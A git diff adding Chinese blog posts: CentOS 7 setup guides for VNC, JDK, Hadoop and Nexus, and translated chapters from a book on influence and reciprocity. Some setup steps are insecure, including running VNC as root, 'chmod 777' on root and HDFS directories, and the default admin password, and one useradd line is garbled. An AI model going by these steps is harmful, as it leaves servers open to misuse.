%i" // to root + PIDFile=/home//.vnc/%H%i.pid + ExecStop=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :' //%i to :1 + + [Install] + WantedBy=multi-user.target + + +After + + [Unit] + Description=Remote desktop service (VNC) + After=syslog.target network.target + + [Service] + Type=simple + # Clean any existing files in /tmp/.X11-unix environment + ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill :1 > /dev/null 2>&1 || :' + ExecStart=/usr/sbin/runuser -l root -c "/usr/bin/vncserver :1" + PIDFile=/home//.vnc/%H%i.pid + ExecStop=/bin/sh -c '/usr/bin/vncserver -kill :1 > /dev/null 2>&1 || :' + + [Install] + WantedBy=multi-user.target + +# 重新加载启动 + + [root@localhost ~]# systemctl daemon-reload + [root@localhost ~]# systemctl enable vncserver@:1.service + [root@localhost ~]# vncpasswd //需要到对应的用户下面运行这个命令 + [root@localhost ~]# systemctl start vncserver@:1.service + [root@localhost ~]# chmod 777 /root/.vnc/xstartup + [root@localhost ~]# systemctl status vncserver@:1.service + [root@localhost ~]# netstat -lnt | grep 590* + [root@localhost ~]# grep vnc /var/log/messages + [root@localhost ~]# vim /etc/sysconfig/iptables + -A INPUT -p tcp -m state --state NEW -m tcp --dport 5901 -j ACCEPT + [root@localhost ~]# service iptables restart + + + +# 配置客户端 + +1. 安装UltraVNC +2. VNC Server:192.168.10.68:5901 +3. Key in password. + + + +# 参考资料: + +1. [@ Centos7 安装vnc](http://blog.sina.com.cn/s/blog_6347780c0102v6ce.html) +2. [Centos7远程桌面 vnc/vnc-server的设置](http://uchase.blog.51cto.com/880483/1545357) +3. [CentOS7安装vncserver（启动失败及连接黑屏解决办法）](http://blog.csdn.net/u010638969/article/details/51244933) diff --git a/_posts/2016-12-23-163-the-small-big-32.md b/_posts/2016-12-23-163-the-small-big-32.md new file mode 100644 index 0000000..f714003 --- /dev/null +++ b/_posts/2016-12-23-163-the-small-big-32.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 32 表达感激好处多 +pid: 163 +tags: [细节如何轻松影响他人] +--- +在前一章中，我们讨论了主动助人并为互助互惠留出余地的重要性，这些做法能够非常有效地提升你的影响力，而且不仅是在帮提供帮助的当下，它的威力还能够延伸到未来。由于互惠原则鼓励人们在得到恩惠之后应当报答，所以，当你想要培养新的人际关系、在团队中创造出积极性、与他人建立长期合作机会的时候，率先给予一个格外好用的工具。 + +但是互惠原理不是单行道。给出帮助的人显然能获得许多影响力方面的好处，但容易被人忽视的是，得到帮助的人其实也有不少树立影响力的机会。 + +行为科学家亚当·格兰特和弗兰西斯卡·吉诺认为，得到帮助的一方提升影响力的一个方法就是，向提供帮助的人明确地表达感激之情。在验证这一看法的实验中，受试者给了一封电子邮件，内容是请他们看一封某人的求职信并给出反馈意见。发出反馈的和评论之后，受试者又收到此人的一个请求，这次是请他们再看一封求职信。 + +然而，这第二封邮件有两个版本。对照组收到的是一封普通的邮件，求职信作者确认收到的反馈，然后就提出了新要求。但另一组收到的是“感激版本”，其他内容都是跟普通版的一样，只不过求职信作者添了一点儿东西：热情地表达了他的感激之情。（“太感谢了！我打心眼里感激您。”） + +这区区十几个字造成了什么效果？研究人员发现，有了这两句清楚地表达感谢的话，愿意回应新请求的人数提升了一倍还多。 + +但格兰特和吉诺的实验还没做完。他们还想知道，对给予帮助的人表达谢意能不能产生更广泛的影响。说得具体点儿，研究人员的问题是，向一名提供帮助的人表达感激，会不会让这个人更加愿意帮助别人？为了验证这个想法，他们又做了一组实验。这次的实验与第一个在许多方面都是相似的：受试者帮某个学生看求职信并提出反馈意见，这个学生要么简单的表示了确认收到，要么清晰地表达了感激之情。但在这个新实验里，再次提出的帮忙请求不是来自这名学生的，而是来自另一个完全陌生的人。 + +再一次，研究人员发现，对第二个帮忙请求的回应率提升了一倍多。 + +想想这个发现的重要含义吧。单是对给予帮忙的人真诚地表达了谢意，就能把这个人帮助陌生人的意愿程度提升了一倍。格兰特和吉诺收集到的额外数据强有力的证明，之所以会出现这种现象，是因为表达感激提升了给予帮助的人的社会价值感。换句话说，听到感激之后，给予帮助的这个人更有可能感受到他人的肯定，觉得自己更有价值了！ + +但值得追问的是，在实验室之外，在快节奏的、真实的职场环境中，这些令人印象深刻的发现是否仍能再现？格兰特和吉诺觉得应该可以，因此他们打算测试一下，真诚的感谢是否能对员工的工作积极性产生正面影响。他们把实验地点选在一个募集资金的呼叫中心，因为他们知道，筹集资金的工作得到的感谢格外少，工作人员往往得到的是拒绝和消极的反应。 + +实验中，一半员工照常上班，没受到任何干预，这是对照组。但是，另一半员工上班的时候，筹款项目的主任来到呼叫中心，感谢他们所做的工作。主任特别表明，“我非常感激各位的辛勤工作。我们真诚地感谢大家对学校做出的贡献。”就这么多，没有握手，没有拥抱，没有答谢礼物——只是这几句大白话，区区几十个字而已。 + +研究人员记录了干预发生前后这些员工呼出的电话数量。在接下来的一周里，对照组的员工拨出的电话与往常持平，而得到感谢的那一组拨出的电话比平常多了一半还多，想想这个微小却重要的改变造成的影响吧。就算这些多打的电话成功率跟平常一样高，但光是数量的增加，也能提升捐款的数额了。 + +这项研究告诉我们，小小的一个表达感激的举动，看似不起眼，却能造成如此积极的影响。虽然说表达感激似乎是应该的，但想想看，你是不是经常机械的说一句“谢谢”，却没有把感激的程度真诚的表达出来？或者是不曾解释你感谢的缘由？有多少次你想要给别人写一张致谢的便条，却不知为何总是忘掉？你不仅错过了真诚感谢别人的机会，也错过了在日后更容易影响他人的机会。 + +这项研究建议，管理人员和组织机构应当积极地寻找机会，清楚地表达感谢。这样做有助于在组织中培养出感恩的文化，让成员们变得更加文明有礼。 + +政策制定者和公务人员也能从表达感激这个小小的行为中获益。认可并感谢民众做出的努力，感谢他们保持市容整洁、维护社区安全、积极采用环保的生活方式，这样做的成本肯定比采用物质奖励手段或亡羊补牢要低很多。 + +这是否意味着你很快就会收到国税局或市政府寄来的“感谢您缴税”的卡片，这还尚待分晓。 + +但我们敢说，要是真收到了，你会挺高兴的。 diff --git a/_posts/2016-12-23-164-centos7-jdk.md b/_posts/2016-12-23-164-centos7-jdk.md new file mode 100644 index 0000000..a3929e7 --- /dev/null +++ b/_posts/2016-12-23-164-centos7-jdk.md @@ -0,0 +1,44 @@ +--- +layout: post +title: Centos7安装jdk实战 +pid: 164 +tags: [centos] +--- +# 卸载已有openjdk + + [root@localhost ~]# rpm -qa | grep java + [root@localhost ~]# rpm -e --nodeps jdk名称 + +# 安装指定Jdk + +[Java SE Downloads](http://www.oracle.com/technetwork/java/javase/downloads/index.html) + + + [root@localhost ~]# mkdir /usr/java + [root@localhost ~]# cd /usr/java/ + [root@localhost java]# >>> copy rpm file to this folder + [root@localhost java]# rpm -ivh /usr/java/jdk-8u112-linux-x64.rpm + + +# 更新JAVA_HOME到profile文件尾 + + + [root@localhost java]# vim /etc/profile + + export JAVA_HOME=/usr/java/jdk1.8.0_112 + export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar + export PATH=$PATH:$JAVA_HOME/bin + + [root@localhost java]# source /etc/profile + [root@localhost java]# java -version + [root@localhost java]# $JAVA_HOME/bin/java -version + [root@localhost java]# echo $JAVA_HOME + + + + + + +# 参考资料 + +[CentOS卸载系统自带的OpenJDK并安装Sun的JDK的方法](https://my.oschina.net/dongqianlin/blog/100505) diff --git a/_posts/2016-12-23-165-centos7-hadoop-install.md b/_posts/2016-12-23-165-centos7-hadoop-install.md new file mode 100644 index 0000000..aaf41f1 --- /dev/null +++ b/_posts/2016-12-23-165-centos7-hadoop-install.md @@ -0,0 +1,250 @@ +--- +layout: post +title: 在Centos7中安装Hadoop实战 +pid: 165 +tags: [centos] +--- +# 更新limits.conf + + [root@master ~]# vim /etc/security/limits.conf + + hdfs - nofile 32768 + hbase - nofile 32768 + + hdfs soft nproc 32000 + hdfs hard nproc 32000 + + hbase soft nproc 32000 + hbase hard nproc 32000 + +[参考](https://github.com/mcsrainbow/salt-states-hadoop/blob/master/salt/hadoop/files/limits.conf) + +# 更新hostname + + [root@master ~]# hostnamectl set-hostname master + [root@master ~]# hostname + [root@master ~]# vim /etc/hosts + 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 + ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 + + 192.168.10.68 master.hadoop.lan + + +# 创建hadoop用户 + + [root@localhost ~]# useradd -m hadoop -s /bin/bash + [root@localhost ~]# passwd hadoop + [root@localhost ~]# visudo + + ## Allow root to run any commands anywhere + root ALL=(ALL) ALL + hadoop ALL=(ALL) ALL + + +# 安装配置Jdk和JAVA_HOME + +参考： [Centos7安装jdk实战](http://www.baoguoding.com/2016/12/164-centos7-jdk.html) + +# 安装配置Hadoop + +下载[Hadoop 2.7.3 binary](http://www.apache.org/dyn/closer.cgi/hadoop/common/hadoop-2.7.3/hadoop-2.7.3.tar.gz)。 + + [hadoop@localhost ~]$ cd /usr/local/ + [hadoop@localhost local]$ sudo tar -zxvf hadoop-2.7.3.tar.gz -C /usr/local/ + [hadoop@localhost local]$ sudo mv ./hadoop-2.7.3 ./hadoop + [hadoop@localhost local]$ sudo chown -R hadoop ./hadoop + [hadoop@localhost local]$ cd hadoop/ + [hadoop@localhost hadoop]$ ./bin/hadoop version + [hadoop@localhost hadoop]$ vim ~/.bashrc + + # User specific aliases and functions + export HADOOP_HOME=/usr/local/hadoop + export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native + + export JAVA_HOME=/usr/java/jdk1.8.0_112 + export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar + export PATH=$PATH:$JAVA_HOME/bin + + export PATH=$PATH:/usr/local/hadoop/sbin:/usr/local/hadoop/bin + + [hadoop@localhost hadoop]$ source ~/.bashrc + +# Hadoop 附带了丰富的例子 + + [hadoop@localhost hadoop]$ ./bin/hadoop jar ./share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar + +# grep 例子 + +我们将 input 文件夹中的所有文件作为输入，筛选当中符合正则表达式 dfs[a-z.]+ 的单词并统计出现的次数，最后输出结果到 output 文件夹中。 + + [hadoop@localhost hadoop]$ ./bin/hadoop jar ./share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar grep ./input ./output 'dfs[a-z.]+' + [hadoop@localhost hadoop]$ cat ./output/* + [hadoop@localhost hadoop]$ rm -r ./output + + +# Hadoop伪分布式配置 + +## Update core-site.xml + + [hadoop@localhost hadoop]$ cp ./etc/hadoop/core-site.xml ./etc/hadoop/core-site.xml.bak + [hadoop@localhost hadoop]$ vim ./etc/hadoop/core-site.xml + +[BEFORE] + + + + + + + +[AFTER] + + + + + + + + hadoop.tmp.dir + file:/usr/local/hadoop/tmp + Abase for other temporary directories. + + + fs.defaultFS + hdfs://master.hadoop.lan:9000 + + + +## Update hdfs-site.xml + + [hadoop@localhost hadoop]$ cp ./etc/hadoop/hdfs-site.xml ./etc/hadoop/hdfs-site.xml.bak + [hadoop@localhost hadoop]$ vim ./etc/hadoop/hdfs-site.xml + +[BEFORE] + + + + + + + + +[AFTER] + + + + + + + dfs.replication + 1 + + + dfs.namenode.name.dir + file:/usr/local/hadoop/tmp/dfs/name + + + dfs.datanode.data.dir + file:/usr/local/hadoop/tmp/dfs/data + + + + +## 执行 NameNode 的格式化 + + [hadoop@localhost hadoop]$ ./bin/hdfs namenode -format + +## 开启 NameNode 和 DataNode 守护进程 + + [hadoop@localhost hadoop]$ ./sbin/start-dfs.sh + + +## 查看是否启动成功 + + [hadoop@localhost hadoop]$ jps + + +## 配置防火墙 + + [hadoop@localhost ~]$ sudo vim /etc/sysconfig/iptables + -A INPUT -p tcp -m state --state NEW -m tcp --dport 9000 -j ACCEPT + -A INPUT -p tcp -m state --state NEW -m tcp --dport 50070 -j ACCEPT + -A INPUT -p tcp -m state --state NEW -m tcp --dport 50010 -j ACCEPT + [hadoop@localhost ~]$ service iptables restart + +## 通过浏览器访问 +http://localhost:50070 + + +# 运行Hadoop伪分布式实例 + +## 运行程序 + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -mkdir -p /user/hadoop + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -mkdir input + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -put ./etc/hadoop/*.xml input + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -ls input + [hadoop@localhost hadoop]$ ./bin/hadoop jar ./share/hadoop/mapreduce/hadoop-mapreduce-examples-*.jar grep input output 'dfs[a-z.]+' + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -cat output/* + +## 取结果到本地 + [hadoop@localhost hadoop]$ rm -r ./output + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -get output ./output + [hadoop@localhost hadoop]$ cat ./output/* + + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -ls + [hadoop@localhost hadoop]$ ./bin/hdfs dfs -rm -r output + + + +# 常用命令 + [hadoop@localhost hadoop]$ ./sbin/stop-dfs.sh + [hadoop@localhost hadoop]$ rm -r ./tmp + [hadoop@localhost hadoop]$ ./bin/hdfs namenode -format + [hadoop@localhost hadoop]$ ./sbin/start-dfs.sh + +# 最终，总结下来解决办法大概有三种： + + 1、在系统的环境变量或java JVM变量里面添加HADOOP_USER_NAME，这个值具体等于多少看自己的情况，以后会运行HADOOP上的Linux的用户名。（修改完重启eclipse，不然可能不生效） + + 2、将当前系统的帐号修改为hadoop + + 3、使用HDFS的命令行接口修改相应目录的权限，hadoop fs -chmod 777 /user,后面的/user是要上传文件的路径，不同的情况可能不一样，比如要上传的文件路径为hdfs://namenode/user/xxx.doc，则这样的修改可以，如果要上传的文件路径为hdfs://namenode/java/xxx.doc，则要修改的为hadoop fs -chmod 777 /java或者hadoop fs -chmod 777 /，java的那个需要先在HDFS里面建立Java目录，后面的这个是为根目录调整权限。 + + 我喜欢第一个方法。 + +# 其他 + + https://github.com/srccodes/hadoop-common-2.2.0-bin + + http://www.huqiwen.com/2013/07/18/hdfs-permission-denied/ + + + Exception in thread "main" org.apache.hadoop.security.AccessControlException: Permission denied: user=baoguo, access=WRITE, inode="/d100":hadoop:supergroup:drwxr-xr-x + + http://blog.csdn.net/xw13106209/article/details/6866072 + + Name node is in safe mode + bin/hadoop dfsadmin -safemode leave + + 用户可以通过dfsadmin -safemode value 来操作安全模式，参数value的说明如下： + enter - 进入安全模式 + leave - 强制NameNode离开安全模式 + get - 返回安全模式是否开启的信息 + wait - 等待，一直到安全模式结束。 + + +# 参考资料 + +1. [HDFS简单入门](http://www.cnblogs.com/archimedes/p/hadoop-simple.html) +2. [hadoop集群搭建](http://blog.chinaunix.net/uid-23916356-id-3254578.html) +3. [Hadoop 集群搭建](http://www.tuicool.com/articles/uAnyEfj) +4. [安装并运行hadoop](http://www.cnblogs.com/archimedes/p/run-hadoop.html) +5. [Ubuntu 14.04下安装JDK8](http://www.cnblogs.com/archimedes/p/ubuntu-jdk8.html) +6. [HDFS主要特性和体系结构](http://www.cnblogs.com/wuyudong/p/4404242.html) +7. [Hadoop安装教程_单机/伪分布式配置_Hadoop2.6.0/Ubuntu14.04](http://dblab.xmu.edu.cn/blog/install-hadoop/) +8. [Hadoop集群（第5期）_Hadoop安装配置](http://www.cnblogs.com/xia520pi/archive/2012/05/16/2503949.html) +9. [Hadoop之——HDFS操作实例](http://blog.csdn.net/l1028386804/article/details/45921443) +10. [hadoop集群默认配置和常用配置](http://www.cnblogs.com/ggjucheng/archive/2012/04/17/2454590.html) +11. [hadoop http address绑定内网地址](http://blog.csdn.net/cheersu/article/details/8191743) +12. [Hadoop上传文件报错解决方法](http://www.fuhenet.com/news/9005.html) + diff --git a/_posts/2016-12-26-166-centos7-nexus.md b/_posts/2016-12-26-166-centos7-nexus.md new file mode 100644 index 0000000..0cd66e8 --- /dev/null +++ b/_posts/2016-12-26-166-centos7-nexus.md @@ -0,0 +1,203 @@ +--- +layout: post +title: 在Centos7中安装Nexus实战 +pid: 166 +tags: [centos, 软件开发] +--- +# Download + +从[Nexus](http://www.sonatype.org/nexus/)下载[nexus-2.14.2-01-bundle.tar.gz](https://sonatype-download.global.ssl.fastly.net/nexus/oss/nexus-2.14.2-01-bundle.tar.gz)。 + +# 安装步骤 + + copy nexus-2.14.2-01-bundle.tar.gz >> /tmp + +## Install + [root@localhost ~]# mkdir /opt/nexus + [root@localhost ~]# cd /opt/nexus + [root@localhost nexus]# tar -zxvf /tmp/nexus-2.14.2-01-bundle.tar.gz + [root@localhost nexus]# ln -sf /opt/nexus/nexus-2.14.2-01 /opt/nexus/latest + [root@localhost nexus]# ln -sf /opt/nexus/latest /opt/nexus/default + + +## New User + [root@localhost nexus]# useradd -r nexus --shell / /false + [root@localhost nexus]# chown -hR nexus: /opt/nexus + +## 开机启动 + [root@localhost nexus]# vim /etc/init.d/nexus + + #!/bin/sh + + # chkconfig: - 80 20 + # Description: Nexus OSS + + NEXUS_HOME=/opt/nexus/default + RUN_AS_USER=nexus + JAVA_HOME=/usr/java/default + + export NEXUS_HOME RUN_AS_USER JAVA_HOME + + "$NEXUS_HOME/bin/nexus"\ + $1 + exit $? + + + [root@localhost nexus]# chmod +x /etc/init.d/nexus + + +## 设定 + + [root@localhost nexus]# vim /opt/nexus/default/conf/nexus.properties + +[BEFORE] + + # Jetty section + application-port=8081 + application-host=0.0.0.0 + nexus-webapp=${bundleBasedir}/nexus + nexus-webapp-context-path=/nexus + + # Nexus section + nexus-work=${bundleBasedir}/../sonatype-work/nexus + runtime=${bundleBasedir}/nexus/WEB-INF + + # orientdb buffer size in megabytes + storage.diskCache.bufferSize=4096 + + + +[AFTER] + + application-port=9083 + application-host=0.0.0.0 + nexus-webapp=${bundleBasedir}/nexus + nexus-webapp-context-path=/ + +## 设置开机启动 + + [root@localhost nexus]# chkconfig nexus on + + + +## 防火墙 + [root@localhost nexus]# vim /etc/sysconfig/iptables + -A INPUT -p tcp -m state --state NEW -m tcp --dport 8081 -j ACCEPT + + [root@localhost nexus]# service iptables restart + + + + +## 默认用户名密码 + + username-password: + admin-admin123 + + http://localhost:9083 + + + + +# Nexus、Setting.xml、pom.xml集成 + +## 在Nexus服务器上添加aliyun镜像 + +Views/Repositories >> Repositories >> Add >> Proxy Repository + + 1. Repository ID: nexus-aliyun + 2. Repository Name: Nexus aliyun + 3. Repository Type: proxy + 4. Provider: Maven2 + 5. Format: maven2 + 6. Repository Policy: Release + 7. Remote Repository Access >> + 1)Remote Storage Location:http://maven.aliyun.com/nexus/content/groups/public/ + 2)Download Remote Indexes:True + 3)Auto Blocking Enabled:True + 4)File Content Validation:True + +## Put out of service with Central + + 右击[Central],选择[Put out of service]。 + +## 更新 group [Public Repositories] + 1. 选中[Public Repositories]。 + 2. 点击Tab [Configuration]。 + 1)把Central 从[Ordered Group Repositories]移除。 + 2)把[Nexus aliyun]添加到[Ordered Group Repositories]。 + 3. 点击保存。 + +## 更新Releases + 1. 选中 [Releases]. + 2. 点击Tab [Configuration] + 1) Repository Policy: Release + 2) Deployment Policy: Allow Redeploy + + +## 更新Snapshots + 1. 选中 [Releases]. + 2. 点击Tab [Configuration] + 1) Repository Policy: Snapshot + 2) Deployment Policy: Allow Redeploy + +## 更新setting.xml + + + + D:/repo + + + + + releases + admin + admin123 + + + snapshots + admin + admin123 + + + + + localmaven + local maven + http://127.0.0.1:8081/nexus/content/groups/public/ + * + + + + + +## 更新项目的pom.xml + +如果你发现，你需要提交你的本地jar到本地的Nexus仓库中，就需要更新你项目的pom.xml文件，可以直接添加到description标签的后面，或者其他位置。 + + + + releases + User Project Release + http://127.0.0.1:8081/nexus/content/repositories/releases/ + + + + snapshots + User Project SNAPSHOTS + http://127.0.0.1:8081/nexus/content/repositories/snapshots/ + + + +## 发布本地jar到Nexus仓库中 + + mvn clean deploy -X -Dmaven.test.skip=true + + +# 参考资料 + +1. [CentOS7 Nexus安装](http://www.cnblogs.com/tjpanda88/p/4306148.html) +2. [用nexus搭建maven私服](http://www.blogjava.net/xiaomage234/archive/2012/11/22/391770.html) +3. [maven发布项目到私服-snapshot快照库和release发布库的区别和作用及maven常用命令](http://www.cnblogs.com/rwxwsblog/p/6029636.html) diff --git a/_posts/2017-01-01-167-the-small-big-33.md b/_posts/2017-01-01-167-the-small-big-33.md new file mode 100644 index 0000000..13a3254 --- /dev/null +++ b/_posts/2017-01-01-167-the-small-big-33.md @@ -0,0 +1,47 @@ +--- +layout: post +title: 33 出乎意料与抛砖引玉 +pid: 167 +tags: [细节如何轻松影响他人] +--- +英格兰北部，约克夏（）的一个村庄里，对于每周都到柯克西顿（）教区的圣约翰教堂做祈祷的教众们来说，这是个再平常不过的周日清晨。就连天气都是典型的11月会有的天气——天空澄澈晴朗。但气温很低，预示着冬天马上就要来了。一些常来教堂的居民走进教堂，摘帽子脱大衣，坐下的时候礼貌地跟其他人点头示意。对许多人来说，他们坐的是老位置：过去的几周，几个月，甚至是几年，做祈祷时他们总是坐在那儿。 + +一切如常，没有任何异样。 + +然而，对于教堂的牧师理查德·斯蒂尔（）来说，2012年这个周日清晨是非比寻常的。他面临一个挑战。过去7年来，他一直在为维修这个维多利亚时代的教堂募集款项。筹款行动相当成功，通过各种各样的捐助、呼吁，倡议活动，他筹到了将近50万英镑（约合75万美元）的资金。但古老教堂的维护费十分高昂，其消耗资金的速度之快，就连最有韧劲儿、最有说服力的神职人员也感到力不从心。斯蒂尔牧师清楚，就算他已经尽心尽力地筹到了惊人的50万英镑，可悲哀的是，这还不够。到了再次筹款的时候了。可他该怎么做呢？多年来，教众们已经奉献了这么多，他该如何说服他们再次团结起来，凑够维修教堂的费用呢？ + +他用的方法是既鼓舞人心，又聪明绝顶。这个办法不担筹集到了继续维修教堂所需的资金，也为如何成功运用影响力的基本原则提供了绝佳的例证。 + +斯蒂尔牧师决定，他要把教堂的钱送出去。 + +按照传统，在做礼拜的某个环节中，教众应该从口袋或钱袋里拿出善款，放到传递过来的募捐箱或募捐盘中。但这一天，牧师对困惑的教授们解释道，今天的募捐跟往常不一样。他还没有请教众人往募捐盘里放钱，而是请他们从盘里拿钱。正当人人都目瞪口呆之际，一个装满了簇新10英镑钞票（大约15美元）的募捐盘传了过来，牧师请每一个人都从里头取一张。 + +非比寻常的“发钱”环节结束的时候，教堂大概发了550英镑（大约825美元）的钞票。牧师告诉教众，大家可以用这10英镑去做各种投资，只要他们觉得合适就行，而他希望大家将来能把收益回馈给教堂。 + +要让一个牧师把已经筹到的资金送出去，这是需要勇气的。像斯蒂尔牧师所用的这种方式，更是需要运见卓识。 + +先把资源送给别人，这启动了影响力的一个基本原则，也就是互惠原理。正如我们在前面的章节中讨论过的，互惠原理在接受人的心中挑起了强有力的偿还义务感，让人想要以同样的方式把得到的恩惠返还回去。这种感觉往往伴随着健康的回馈行为。营销人员知道，免费送给客户的试用小样会引起购买，利润足以补偿那份“礼物”的成本。聪明的领导者明白，通过率先倾听、提供帮助、主动找出那些需要帮助而不是能帮助自己的人，他们能够提升日后影响行为的成功率。这本书的主题相符的是，这种率先做出的行为可以很微小，往往是不花成本的。然而回报却可能超乎我们的想象，由于聚拢了一群心悦诚服的人，商家会赢得忠实的客户，领导者获得了高产的合作关系。 + +明白互惠原理的强大力量的，可不只是精明的营销人员和管理者。社会学家们也认识到，在每一个社会中，都存在着给予、接受、偿还的义务。这是一种存在于社会黄金法则中的期望，作为文明进程的一部分，这个法则告诉我们，“给予别人，就像你希望别人给予你那样。”请注意，这个黄金法则说的不是“给予别人，就像别人曾经给予你的那样”。这条法则告诉我们，有影响力的人总是率先采取行动。在他精明而娴熟的影响力策略中，斯蒂尔牧师示范给我们看的，正是“率先采取行动”——先给予，而不是先索取。 + +但斯蒂尔牧师知道，让这个策略取得成功的，还有一个不可缺少的关键因素。 + +虽然社会确实要求我们以同样的方式去偿还他人给予的礼物、服务等行为，但在现代生活中，信息泛滥到这种程度，让我们很难一下子分清四面八方涌来的资源。新的免费试用样品往往会把老的挤走；有价值的信息很容易就被另一些有价值的、竞争性的信息覆盖住了；对客户或同事提供的帮助很快就会被来自竞争对手或另一个同事的帮助取代。 + +在这种背景下，一个令人悲哀却又发人深省的领悟是：在当今世界，单是抢先给予已经不够了。为了让自己的努力脱颖而出，我们越来越需要一个关键因素。值得注意的是，虽然它能带来巨大的回报，这个关键因素其实非常简单，但又非常容易被忽视，有时候甚至被人们完全忽略了。 + +这个关键的因素就是出乎意料。 + +用出乎意料的方式，率先给出一份礼物、服务，甚至是信息也行，这会带来巨大的收效。在早先出版的《如何让人点头称是》一书中，我们讲述了一个餐馆服务生如何收到更多小费的研究案例：把账单拿过来的时候，给每一位食客送一颗糖。通过这种方法，他们得到的小费升高了3.3%。如果他们给每人送两颗糖，他们的消费会进一步提高（14.1%）。但第三种方法显示出，出乎意料的方式会带来更加显著的成效。如果服务生先是给桌旁的每位食客送一颗糖，然后过一会儿之后，他再回来给每个人加送一颗，这个出乎意料的额外礼物让小费提高了21%。 + +从意外礼物或意外帮助的强大影响中获益的不只是餐馆服务生而已。从事消费者研究的卡丽·海尔曼（）、肯特·中本（）和安巴·拉奥（）发现，如果超市在顾客进店之后再送给他们一些惊喜礼券，比起事先发放的优惠券，顾客的平均花费会上升11%。由此看来，零售商只是改改送优惠券的时机就能获利颇丰。出乎意料的“礼物”放大了顾客积极正向的反应。 + +从以预料之中的方式率先给予，到以出乎意料的方式率先给予，正是这个重要的改变让斯蒂尔牧师的方法大见成效。没错，他也可以邀请一些教众来开个头脑风暴会议，请大家集思广益的想想新的筹款方法，为了吸引更多人参与，还可以主动提供咖啡和小饼干。这些做法也符合互惠原理，但是不大可能像这次的策略一样这么见效。 + +这些研究给我们的启示很清楚。虽然率先给出物品或帮助多半会有这效果，但对这个基本原理最出色的应用就是用对方意想不到的方式率先给予。手写便条，而不是打印出来；给新客户寄出一张个性化的“期待与您合作”的卡片；主动询问同事，在那个重要的工作任务中是否需要你帮忙。 + +这些改变看似微小，却往往能大幅度地提升收效。 + +说到收效，斯蒂尔牧师送出的550英镑（825美元）投资怎么样了？那个出乎意料的周日早礼拜过去6个月之后，一支驻扎在当地、当初报道过这件事的BBC记者小组返回柯克西顿去跟进结果。他们的发现令人震惊。差不多每个拿了10英镑钞票的人都把它善加利用了，有些人的方法还格外新颖。一些人拿这笔钱购买了烘培材料，举办了一个蛋糕义卖。有一个人用这些钱登那个遛狗服务的广告，替人遛狗时顺便筹款。当地学校的一群孩子用这笔钱买了种子，把种出的花草卖了个好价钱。还有些人用这些钱在eBay（易贝）上淘来东西又转卖出去，把利润全部返还给教堂。区区6个月内，斯蒂尔牧师的投资换来了1万英镑（15000美元）——这是将近20倍的收益！ + +这个相当惊人的投资回报，也是“四两拨千斤”的绝佳例证。 diff --git a/_posts/2017-01-01-168-the-small-big-34.md b/_posts/2017-01-01-168-the-small-big-34.md new file mode 100644 index 0000000..fe766db --- /dev/null +++ b/_posts/2017-01-01-168-the-small-big-34.md @@ -0,0 +1,23 @@ +--- +layout: post +title: 34 如何获得帮助 +pid: 168 +tags: [细节如何轻松影响他人] +--- +答案是……尽管开口！看上去这简直就是明摆着的大白话，但我们先来看看社会科学家弗兰克·福林和瓦妮莎·博恩斯（）的研究。他们认为，想要求助的人往往低估了对方愿意帮忙的程度。他们设计了一组实验来验证这个想法。 + +在一组实验中，受试者的任务是询问陌生人是否愿意填写一份调查表。执行任务之前，他们需要对陌生人答应这个请求的可能性做出预测。具体点儿说，就是估计一下自己总共要询问多少个人，才能遇到5个愿意配合的陌生人。受试者们的平均估算是20个，但实际上，大家平均只问了10个人就完成了任务。也就是说，受试者低估了一半。 + +弗林和博恩斯把请求的内容更换了多次，比如请陌生人送自己走到附近的健身房，或是借手机打个简短的电话。实验的结果都是相似的。在另一个格外有趣的研究中，研究人员选中了一组准备为慈善筹款的受试者。筹款活动开始之前，佛林和博恩斯请受试者估计一下多少人愿意掏钱。再一次，大家的估算差不多低了一半。事实上，他们对于捐款数目的估算也低了大概25%。 + +为了解释人们为何会如此轻易地低估他人愿意帮忙的程度，研究人员收集了额外的数据。简言之，他们发现，提出帮助请求的人会把着眼点放在对方同意帮忙后所花的成本上（时间、精力、金钱），同时却较少考虑对方要是拒绝提供帮助的话，会产生哪些社会成本（比如尴尬、磨不开面子、隐隐的内疚感）。 + +这里面的启示很明确，当你纠结着要不要开口求助的时候，需要注意的一点是，你很可能低估了对方愿意帮忙的程度。这样一来，你的工作效率或目标很可能会受到影响。 + +再深想一步。对于管理者和团队领导来说，这些研究结果格外令人心惊。因为可能有这种情况存在：你的团队成员在一件重要的工作任务上需要你的帮助，可他们错误地以为万一开口求助，你也不大可能帮忙。为了消除这种情况，你最好跟下属、同事和团队成员们先说明白：当他们需要帮助的时候，你很愿意帮忙。怎么做呢？把弗林和博恩斯发现讲给大家听，然后告诉大家，你可不希望让这种误解破坏大家的绩效。 + +在另一组研究中，博恩斯和弗林提出了得不到帮助的另一个原因。不仅是求助的人低估了对方愿意帮忙的可能性，那些做好了准备、愿意帮忙的人也会高估了别人开口求助的可能性，这就造成了一个双重的障碍。需要帮助的人不好意思开口，能帮得上忙的人又没有伸出援手——因为他们错误地以为，既然没人开口求助，就是人家不需要帮忙呗。 + 